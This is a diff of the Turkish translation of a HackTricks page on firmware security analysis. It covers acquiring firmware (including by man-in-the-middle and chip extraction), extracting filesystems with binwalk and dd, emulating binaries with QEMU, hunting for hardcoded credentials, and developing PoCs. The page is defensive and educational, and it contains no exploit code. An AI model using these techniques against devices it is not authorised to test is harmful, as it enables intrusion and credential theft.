GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,57 +1,58 @@
# Firmware Analizi
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramanla öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## **Giriş**
Firmware, donanım bileşenleriyle kullanıcıların etkileşimde bulunduğu yazılım arasındaki iletişimi yöneterek cihazların doğru bir şekilde çalışmasını sağlayan temel bir yazılımdır. Cihazın açıldığı anda önemli talimatları erişilebilir hale getiren kalıcı bellekte depolanır ve işletim sisteminin başlatılmasına yol açar. Firmware'in incelenmesi ve potansiyel olarak değiştirilmesi, güvenlik açıklarını belirlemede kritik bir adımdır.
Firmware, cihazların doğru bir şekilde çalışmasını sağlayan, donanım bileşenleri ile kullanıcıların etkileşimde bulunduğu yazılım arasında iletişimi yöneten ve kolaylaştıran temel yazılımdır. Kalıcı bellekte depolanır, böylece cihaz açıldığında kritik talimatlara erişebilir ve işletim sisteminin başlatılmasını sağlar. Firmware'i incelemek ve potansiyel olarak değiştirmek, güvenlik açıklarını belirlemede kritik bir adımdır.
## **Bilgi Toplama**
**Bilgi toplama**, bir cihazın yapısını ve kullandığı teknolojileri anlama sürecinde kritik bir ilk adımdır. Bu süreç, aşağıdaki verilerin toplanmasını içerir:
**Bilgi toplama**, bir cihazın yapısını ve kullandığı teknolojileri anlamanın kritik bir başlangıç adımıdır. Bu süreç, aşağıdaki verilerin toplanmasını içerir:
- CPU mimarisi ve çalıştırdığı işletim sistemi
- Önyükleyici ayrıntıları
- CPU mimarisi ve çalıştığı işletim sistemi
- Bootloader ayrıntıları
- Donanım düzeni ve veri sayfaları
- Kod tabanı metrikleri ve kaynak konumları
- Harici kütüphaneler ve lisans türleri
- Güncelleme geçmişleri ve düzenleyici sertifikalar
- Mimarlık ve akış diyagramları
- Güvenlik değerlendirmeleri ve belirlenen güvenlik ıkları
- Mimari ve akış diyagramları
- Güvenlik değerlendirmeleri ve belirlenen açıklar
Bu amaçla, **açık kaynak istihbaratı (OSINT)** araçları çok değerlidir ve manuel ve otomatik inceleme süreçleriyle mevcut açık kaynak yazılım bileşenlerinin analizi de önemlidir. [Coverity Scan](https://scan.coverity.com) ve [Semmles LGTM](https://lgtm.com/#explore) gibi araçlar, potansiyel sorunları bulmak için kullanılabilecek ücretsiz statik analiz sunar.
Bu amaçla, **açık kaynak istihbaratı (OSINT)** araçları çok değerlidir; ayrıca mevcut açık kaynak yazılım bileşenlerinin manuel ve otomatik inceleme süreçleriyle analizi de önemlidir. [Coverity Scan](https://scan.coverity.com) ve [Semmlenin LGTM](https://lgtm.com/#explore) gibi araçlar, potansiyel sorunları bulmak için kullanılabilecek ücretsiz statik analiz sunar.
## **Firmware Edinme**
## **Firmware'i Edinme**
Firmware elde etmek, karmaşıklık düzeyine bağlı olarak çeşitli yöntemlerle ele alınabilir:
Firmware edinme, her biri kendi karmaşıklık seviyesine sahip çeşitli yollarla gerçekleştirilebilir:
- **Doğrudan** kaynaktan (geliştiriciler, üreticiler)
- Sağlanan talimatlarla **oluşturarak**
- **Kaynaktan** (geliştiriciler, üreticiler) **doğrudan**
- Verilen talimatlardan **oluşturarak**
- Resmi destek sitelerinden **indirerek**
- Barındırılan firmware dosyalarını bulmak için **Google dork** sorgularını kullanarak
- [S3Scanner](https://github.com/sa7mon/S3Scanner) gibi araçlarla doğrudan **bulut depolama**'ya erişme
- Orta adam saldırısı teknikleriyle güncellemeleri **intercept** etme
- **UART**, **JTAG** veya **PICit** gibi bağlantılar aracılığıyla cihazdan **çıkararak** elde etme
- Cihaz iletişimi içindeki güncelleme isteklerini **sniff** etme
- **Sabitlenmiş güncelleme uç noktalarını** belirleme ve kullanma
- **Önyükleyiciden** veya ağdan **dökme** yapma
- Tüm diğer yöntemler başarısız olduğunda, uygun donanım araçlarını kullanarak depolama yongasını **çıkararak ve okuyarak** elde etme
- [S3Scanner](https://github.com/sa7mon/S3Scanner) gibi araçlarla **bulut depolama**'ya doğrudan erişerek
- Man-in-the-middle teknikleriyle **güncellemeleri** yakalayarak
- **UART**, **JTAG** veya **PICit** gibi bağlantılar aracılığıyla cihazdan **çıkararak**
- Cihaz iletişimi içinde güncelleme taleplerini **sniffing** yaparak
- **Hardcoded güncelleme uç noktalarını** tanımlayıp kullanarak
- Bootloader veya ağdan **dumping** yaparak
- Tüm bunlar başarısız olursa, uygun donanım araçları kullanarak depolama çipini **çıkartıp okuyarak**
## Firmware'i Analiz Etme
Şimdi **firmware'e sahip olduğunuza** göre, onun hakkında bilgi çıkarmak için nasıl işlem yapacağınızı bilmelisiniz. Bunun için kullanabileceğiniz farklı araçlar:
Artık **firmware'e sahip olduğunuzda**, ona nasıl yaklaşacağınızı bilmek için bilgi çıkarmanız gerekir. Bunun için kullanabileceğiniz farklı araçlar:
```bash
file <bin>
strings -n8 <bin>
@ -60,24 +61,24 @@ hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
```
Eğer bu araçlarla çok fazla şey bulamazsanız, `binwalk -E <bin>` komutuyla görüntünün **entropisini** kontrol edin. Düşük entropi, muhtemelen şifrelenmediği anlamına gelir. Yüksek entropi ise muhtemelen şifreli (veya bazı şekillerde sıkıştırılmış) olduğunu gösterir.
Eğer bu araçlarla pek bir şey bulamazsanız, görüntünün **entropisini** `binwalk -E <bin>` ile kontrol edin, düşük entropi varsa, muhtemelen şifrelenmemiştir. Yüksek entropi varsa, muhtemelen şifrelenmiştir (ya da bir şekilde sıkıştırılmıştır).
Ayrıca, aşağıdaki araçları kullanarak firmware içine gömülü olan **dosyaları çıkarabilirsiniz**:
Ayrıca, bu araçları **firmware içinde gömülü dosyaları çıkarmak için** kullanabilirsiniz:
{% content-ref url="../../forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](../../forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md)
{% endcontent-ref %}
Veya dosyayı incelemek için [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) kullanabilirsiniz.
Ya da dosyayı incelemek için [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) kullanabilirsiniz.
### Dosya Sistemi Elde Etme
### Dosya Sistemini Elde Etme
Önceki yorum satırında belirtilen `binwalk -ev <bin>` gibi araçlarla **dosya sistemi çıkarmanız gerekmektedir**.\
Binwalk genellikle bunu, genellikle aşağıdakilerden biri olan bir **dosya sistemi türü adında bir klasörün içine çıkarır**: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
Önceki bahsedilen araçlarla `binwalk -ev <bin>` kullanarak **dosya sistemini çıkarmış olmalısınız**.\
Binwalk genellikle bunu **dosya sistemi türüyle adlandırılan bir klasörün içine çıkarır**, bu genellikle aşağıdakilerden biridir: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
#### Manuel Dosya Sistemi Çıkarımı
#### Manuel Dosya Sistemi Çıkartma
Bazı durumlarda, binwalk'ın imzalarında **dosya sisteminin sihirli baytı bulunmayabilir**. Bu durumlarda, binwalk'ı kullanarak **dosya sisteminin ofsetini bulun ve sıkıştırılmış dosya sistemi**ni binary'den keserek ve aşağıdaki adımları kullanarak **manuel olarak çıkarın**.
Bazen, binwalk **dosya sisteminin sihirli baytını imzalarında bulamayabilir**. Bu durumlarda, binwalk'ı kullanarak **dosya sisteminin ofsetini bulun ve sıkıştırılmış dosya sistemini** ikili dosyadan çıkarın ve **aşağıdaki adımları kullanarak** dosya sistemini türüne göre manuel olarak çıkarın.
```
$ binwalk DIR850L_REVB.bin
@ -89,7 +90,7 @@ DECIMAL HEXADECIMAL DESCRIPTION
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
```
Aşağıdaki **dd komutunu** kullanarak Squashfs dosya sistemini çıkarın.
Aşağıdaki **dd komutunu** çalıştırarak Squashfs dosya sistemini çıkarın.
```
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
@ -103,21 +104,21 @@ Alternatif olarak, aşağıdaki komut da çalıştırılabilir.
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
* Squashfs için (yukarıdaki örnekte kullanıldığı gibi)
* Squashfs için (yukarıdaki örnekte kullanılmıştır)
`$ unsquashfs dir.squashfs`
Dosyalar daha sonra "`squashfs-root`" dizininde olacak.
Dosyalar daha sonra "`squashfs-root`" dizininde olacaktır.
* CPIO arşiv dosyaları için
* CPIO arşiv dosyaları
`$ cpio -ivd --no-absolute-filenames -F <bin>`
* Jffs2 dosya sistemleri için
* JFFS2 dosya sistemleri için
`$ jefferson rootfsfile.jffs2`
* NAND flash ile ubifs dosya sistemleri için
* NAND flash ile UBIFS dosya sistemleri için
`$ ubireader_extract_images -u UBI -s <start_offset> <bin>`
@ -126,11 +127,11 @@ Dosyalar daha sonra "`squashfs-root`" dizininde olacak.
## Firmware Analizi
Firmware elde edildikten sonra, yapısını ve potansiyel güvenlik açıklarını anlamak için parçalamak önemlidir. Bu süreçte, firmware görüntüsünden değerli verileri analiz etmek ve çıkarmak için çeşitli araçlar kullanılır.
Firmware elde edildikten sonra, yapısını ve potansiyel zayıflıklarını anlamak için parçalanması önemlidir. Bu süreç, firmware görüntüsünden değerli verileri analiz etmek ve çıkarmak için çeşitli araçların kullanılmasını içerir.
### İlk Analiz Araçları
İkili dosya ( `<bin>` olarak adlandırılır) için ilk inceleme için bir dizi komut sağlanmaktadır. Bu komutlar, dosya türlerini belirleme, dizeleri çıkarma, ikili verileri analiz etme ve bölüm ve dosya sistemine ilişkin ayrıntıları anlama konusunda yardımcı olur:
İlk inceleme için bir dizi komut sağlanmıştır ( `<bin>` olarak adlandırılır). Bu komutlar, dosya türlerini tanımlamaya, dizeleri çıkarmaya, ikili verileri analiz etmeye ve bölüm ve dosya sistemi ayrıntılarını anlamaya yardımcı olur:
```bash
file <bin>
strings -n8 <bin>
@ -139,94 +140,94 @@ hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head #useful for finding signatures in the header
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
```
Resimdeki şifreleme durumunu değerlendirmek için, **entropi** `binwalk -E <bin>` ile kontrol edilir. Düşük entropi, şifreleme eksikliğini gösterirken, yüksek entropi olası şifreleme veya sıkıştırmayı işaret eder.
Görüntünün şifreleme durumunu değerlendirmek için **entropy** `binwalk -E <bin>` ile kontrol edilir. Düşük entropy, şifreleme eksikliğini gösterirken, yüksek entropy olası şifreleme veya sıkıştırmayı belirtir.
**Gömülü dosyaları** çıkarmak için, **file-data-carving-recovery-tools** belgeleri ve dosya incelemesi için **binvis.io** gibi araçlar ve kaynaklar önerilir.
**Gömülü dosyaları** çıkarmak için **file-data-carving-recovery-tools** belgeleri ve dosya incelemesi için **binvis.io** gibi araçlar ve kaynaklar önerilir.
### Dosya Sistemi Çıkarma
### Dosya Sistemini Çıkarma
`binwalk -ev <bin>` kullanarak, genellikle dosya sistemi çıkarılabilir, genellikle dosya sistemi türünün adıyla (örneğin squashfs, ubifs) adlandırılan bir dizine. Bununla birlikte, **binwalk** sihirli baytların eksik olması nedeniyle dosya sistemi türünü tanıyamazsa, manuel çıkarma gereklidir. Bu, `binwalk` kullanarak dosya sisteminin ofsetini bulmayı ve ardından `dd` komutunu kullanarak dosya sisteminin çıkarılmasını içerir:
`binwalk -ev <bin>` kullanarak genellikle dosya sistemi çıkarılabilir, genellikle dosya sistemi türüyle adlandırılmış bir dizine (örneğin, squashfs, ubifs) çıkarılır. Ancak, **binwalk** sihirli baytların eksikliği nedeniyle dosya sistemi türünü tanımadığında, manuel çıkarım gereklidir. Bu, `binwalk` kullanarak dosya sisteminin ofsetini bulmayı ve ardından dosya sistemini çıkarmak için `dd` komutunu kullanmayı içerir:
```bash
$ binwalk DIR850L_REVB.bin
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
```
Sonrasında, dosya sistemi türüne (örneğin, squashfs, cpio, jffs2, ubifs) bağlı olarak içeriği manuel olarak çıkarmak için farklı komutlar kullanılır.
Sonrasında, dosya sistemi türüne bağlı olarak (örneğin, squashfs, cpio, jffs2, ubifs), içerikleri manuel olarak çıkarmak için farklı komutlar kullanılır.
### Dosya Sistemi Analizi
Dosya sistemi çıkarıldıktan sonra, güvenlik açıkları araştırılmaya başlanır. Güvensiz ağ hizmetleri, sabitlenmiş kimlik bilgileri, API uç noktaları, güncelleme sunucusu işlevleri, derlenmemiş kodlar, başlangıç betikleri ve çevrimdışı analiz için derlenmiş ikili dosyalar gibi unsurlara dikkat edilir.
Dosya sistemi çıkarıldıktan sonra, güvenlik açıkları arayışına başlanır. Güvensiz ağ daemon'larına, hardcoded kimlik bilgilerine, API uç noktalarına, güncelleme sunucusu işlevlerine, derlenmemiş koda, başlangıç betiklerine ve çevrimdışı analiz için derlenmiş ikililere dikkat edilir.
İncelenmesi gereken **ana konumlar** ve **öğeler** şunlardır:
**Ana konumlar** ve **incelemesi gereken öğeler** şunlardır:
- Kullanıcı kimlik bilgileri için **etc/shadow** ve **etc/passwd**
- **etc/shadow** ve **etc/passwd** kullanıcı kimlik bilgileri için
- **etc/ssl** içindeki SSL sertifikaları ve anahtarları
- Potansiyel güvenlik açıkları için yapılandırma ve betik dosyaları
- İleri analiz için gömülü ikili dosyalar
- Ortak IoT cihaz web sunucuları ve ikili dosyaları
- Daha fazla analiz için gömülü ikililer
- Yaygın IoT cihazı web sunucuları ve ikilileri
Dosya sistemi içinde hassas bilgileri ve güvenlik açıklarını ortaya çıkarmak için birkaç araç bulunmaktadır:
Dosya sistemi içindeki hassas bilgileri ve güvenlik açıklarını ortaya çıkarmaya yardımcı olan birkaç araç vardır:
- Hassas bilgi araması için [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) ve [**Firmwalker**](https://github.com/craigz28/firmwalker)
- Kapsamlı firmware analizi için [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT\_core)
- Statik ve dinamik analiz için [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) ve [**EMBA**](https://github.com/e-m-b-a/emba)
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) ve [**Firmwalker**](https://github.com/craigz28/firmwalker) hassas bilgi arayışı için
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT\_core) kapsamlı firmware analizi için
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) ve [**EMBA**](https://github.com/e-m-b-a/emba) statik ve dinamik analiz için
### Derlenmiş İkili Dosyalar Üzerinde Güvenlik Kontrolleri
### Derlenmiş İkililer Üzerinde Güvenlik Kontrolleri
Dosya sisteminde bulunan hem kaynak kodları hem de derlenmiş ikili dosyalar, güvenlik açıklarıısından incelenmelidir. Unix ikili dosyaları için **checksec.sh** ve Windows ikili dosyaları için **PESecurity** gibi araçlar, sömürülebilecek korumasız ikili dosyaları belirlemeye yardımcı olur.
Dosya sisteminde bulunan hem kaynak kodu hem de derlenmiş ikililer güvenlik açıklarıısından incelenmelidir. Unix ikilileri için **checksec.sh** ve Windows ikilileri için **PESecurity** gibi araçlar, istismar edilebilecek korumasız ikilileri tanımlamaya yardımcı olur.
## Dinamik Analiz İçin Firmware Emülasyonu
## Dinamik Analiz için Firmware Taklit Etme
Firmware'in emülasyonu, bir cihazın işleyişinin veya bir programın dinamik analizinin yapılmasını sağlar. Bu yaklaşım, donanım veya mimari bağımlılıklarıyla karşılaşabilir, ancak kök dosya sistemi veya belirli ikili dosyaların, Raspberry Pi gibi uyumlu bir mimari ve bit düzenine sahip bir cihaza veya önceden oluşturulmuş bir sanal makineye aktarılması, daha fazla test yapmayı kolaylaştırabilir.
Firmware taklit etme süreci, bir cihazın çalışmasını veya bireysel bir programı **dinamik analiz** etmeyi sağlar. Bu yaklaşım, donanım veya mimari bağımlılıkları ile zorluklarla karşılaşabilir, ancak kök dosya sistemini veya belirli ikilileri, Raspberry Pi gibi eşleşen mimari ve endianlıkta bir cihaza veya önceden oluşturulmuş bir sanal makineye aktarmak, daha fazla test yapmayı kolaylaştırabilir.
### Bireysel İkili Dosyaların Emülasyonu
### Bireysel İkilileri Taklit Etme
Tek bir programın incelenmesi için programın bit düzeni ve CPU mimarisi belirlemek önemlidir.
Tek programları incelemek için, programın endianlığını ve CPU mimarisini belirlemek kritik öneme sahiptir.
#### MIPS Mimarisi Örneği
#### MIPS Mimarisi ile Örnek
MIPS mimarisi ikili bir dosyanın emülasyonu için aşağıdaki komut kullanılabilir:
MIPS mimarisi ikilisini taklit etmek için şu komut kullanılabilir:
```bash
file ./squashfs-root/bin/busybox
```
Ve gerekli emülasyon araçlarını yüklemek için:
Ve gerekli emülasyon araçlarını kurmak için:
```bash
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
```
MIPS (big-endian) için `qemu-mips` kullanılırken, little-endian ikili dosyalar için `qemu-mipsel` tercih edilir.
For MIPS (big-endian), `qemu-mips` kullanılır ve little-endian ikili dosyalar için `qemu-mipsel` tercih edilir.
#### ARM Mimarisi Emülasyonu
#### ARM Mimari Emülasyonu
ARM ikili dosyaları için, emülasyon için `qemu-arm` emulatorü kullanılır.
ARM ikili dosyaları için süreç benzerdir, emülasyon için `qemu-arm` emülatörü kullanılır.
### Tam Sistem Emülasyonu
[Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) ve diğer araçlar, tam firmware emülasyonunu kolaylaştırır ve süreci otomatikleştirir, dinamik analize yardımcı olur.
[Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) ve diğerleri gibi araçlar, tam firmware emülasyonunu kolaylaştırır, süreci otomatikleştirir ve dinamik analize yardımcı olur.
## Uygulamada Dinamik Analiz
## Pratikte Dinamik Analiz
Bu aşamada, analiz için gerçek veya emüle edilmiş bir cihaz ortamı kullanılır. İşletim sistemi ve dosya sistemi üzerinde kabuk erişimini sürdürmek önemlidir. Emülasyon, donanım etkileşimlerini mükemmel bir şekilde taklit etmeyebilir, bu nedenle zaman zaman emülasyon yeniden başlatmaları gerekebilir. Analiz, dosya sistemi üzerinde gezinmeyi, açığa çıkan web sayfalarını ve ağ hizmetlerini kullanmayı ve önyükleme yükleyicisi açıklarını keşfetmeyi içermelidir. Firmware bütünlük testleri, potansiyel arka kapııklarını belirlemek için önemlidir.
Bu aşamada, analiz için gerçek veya emüle edilmiş bir cihaz ortamı kullanılır. OS ve dosya sistemine shell erişimini sürdürmek önemlidir. Emülasyon, donanım etkileşimlerini mükemmel bir şekilde taklit etmeyebilir, bu nedenle ara sıra emülasyonun yeniden başlatılması gerekebilir. Analiz, dosya sistemini yeniden gözden geçirmeli, açığa çıkan web sayfalarını ve ağ hizmetlerini istismar etmeli ve önyükleyici zafiyetlerini keşfetmelidir. Firmware bütünlüğü testleri, potansiyel arka kapı zafiyetlerini belirlemek için kritik öneme sahiptir.
## Çalışma Zamanı Analiz Teknikleri
Çalışma zamanı analizi, bir işlem veya ikili dosyanın işletim ortamıyla etkileşimde bulunmayı içerir. gdb-multiarch, Frida ve Ghidra gibi araçlar, kesme noktalarını ayarlamak ve bulanıklık ve diğer teknikler aracılığıyla zafiyetleri belirlemek için kullanılır.
Çalışma zamanı analizi, bir süreç veya ikili dosya ile işletim ortamında etkileşimde bulunmayı içerir; gdb-multiarch, Frida ve Ghidra gibi araçlar, kesme noktaları ayarlamak ve fuzzing ve diğer teknikler aracılığıyla zafiyetleri tanımlamak için kullanılır.
## İkili Sömürü ve Kanıt-of-Kavram
## İkili İstismar ve Kanıt-of-Kavram
Belirlenen zafiyetler için bir Kanıt-of-Kavram (PoC) geliştirmek, hedef mimariyi derinlemesine anlama ve düşük seviye dillerde programlama konusunda derin bir anlayış gerektirir. Gömülü sistemlerde ikili çalışma zamanı korumaları nadirdir, ancak varsa Return Oriented Programming (ROP) gibi teknikler gerekebilir.
Belirlenen zafiyetler için bir PoC geliştirmek, hedef mimarinin derin bir anlayışını ve daha düşük seviyeli dillerde programlama bilgisi gerektirir. Gömülü sistemlerde ikili çalışma zamanı korumaları nadirdir, ancak mevcut olduğunda, Return Oriented Programming (ROP) gibi teknikler gerekli olabilir.
## Firmware Analizi için Hazırlanmış İşletim Sistemleri
[AttifyOS](https://github.com/adi0x90/attifyos) ve [EmbedOS](https://github.com/scriptingxss/EmbedOS) gibi işletim sistemleri, gerekli araçlarla donatılmış firmware güvenlik testi için önceden yapılandırılmış ortamlar sağlar.
[AttifyOS](https://github.com/adi0x90/attifyos) ve [EmbedOS](https://github.com/scriptingxss/EmbedOS) gibi işletim sistemleri, gerekli araçlarla donatılmış firmware güvenlik testleri için önceden yapılandırılmış ortamlar sağlar.
## Firmware Analizi için Hazırlanmış İşletim Sistemleri
## Firmware Analiz Etmek için Hazırlanmış OS'ler
* [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS, Nesnelerin İnterneti (IoT) cihazlarının güvenlik değerlendirmesi ve penetrasyon testi yapmanıza yardımcı olmak için tasarlanmış bir dağıtımdır. Tüm gerekli araçların yüklü olduğu önceden yapılandırılmış bir ortam sağlayarak size çok zaman kazandırır.
* [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Firmware güvenlik testi araçlarıyla yüklenmiş Ubuntu 18.04 tabanlı gömülü güvenlik testi işletim sistemi.
* [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS, Internet of Things (IoT) cihazlarının güvenlik değerlendirmesi ve penetrasyon testini gerçekleştirmenize yardımcı olmak için tasarlanmış bir dağıtımdır. Tüm gerekli araçların yüklü olduğu önceden yapılandırılmış bir ortam sağlayarak size çok zaman kazandırır.
* [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Gömülü güvenlik test işletim sistemi, firmware güvenlik test araçları ile önceden yüklenmiş Ubuntu 18.04 tabanlıdır.
## Uygulama yapmak için Zafiyetli Firmware
## Pratik Yapmak için Zayıf Firmware
Firmware'de zafiyetleri keşfetmek için aşağıdaki zafiyetli firmware projelerini bir başlangıç noktası olarak kullanabilirsiniz.
Firmware'deki zafiyetleri keşfetmek için pratik yapmak amacıyla aşağıdaki zayıf firmware projelerini başlangıç noktası olarak kullanın.
* OWASP IoTGoat
* [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
@ -250,16 +251,17 @@ Firmware'de zafiyetleri keşfetmek için aşağıdaki zafiyetli firmware projele
* [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live).
* Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud github reposuna PR göndererek katkıda bulunun.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
